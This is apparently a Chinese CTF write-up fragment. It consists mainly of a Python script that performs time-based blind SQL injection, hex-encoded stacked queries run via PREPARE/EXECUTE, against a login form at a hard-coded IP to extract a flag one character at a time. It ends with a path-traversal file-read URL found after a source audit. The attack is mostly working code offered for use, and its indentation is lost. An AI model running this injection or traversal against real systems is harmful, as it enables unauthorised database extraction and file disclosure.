注入脚本:
# coding=utf-8
import re
import requests
import sys
import binascii
import json
reload(sys)
sys.setdefaultencoding("utf8")
url = "http://182.92.220.157:11116/index.php?r=Login/Login"
flag = ""
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
for i in range(1, 40):
print(i)
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":
sql = "select if((ascii(substr((select group_concat(flag) from flag)," + str(i) + ",1))='" + str(
ord(str1)) + "'),sleep(5),2);" # ctf
sql_hex = str_to_hex(sql)
data = {
"username": "1\';SET @a=0x" + str(sql_hex) + ";PREPARE st FROM @a;EXECUTE st;",
"password": "admin\'"
}
try:
result = requests.post(url, json=data, timeout=4)
# print result.text
except requests.exceptions.ReadTimeout:
flag += str1
print(flag)
break
print(flag)结果是 AmOL#T.zip
下载下来是源码,进行代码审计
发现文件读取漏洞
http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php

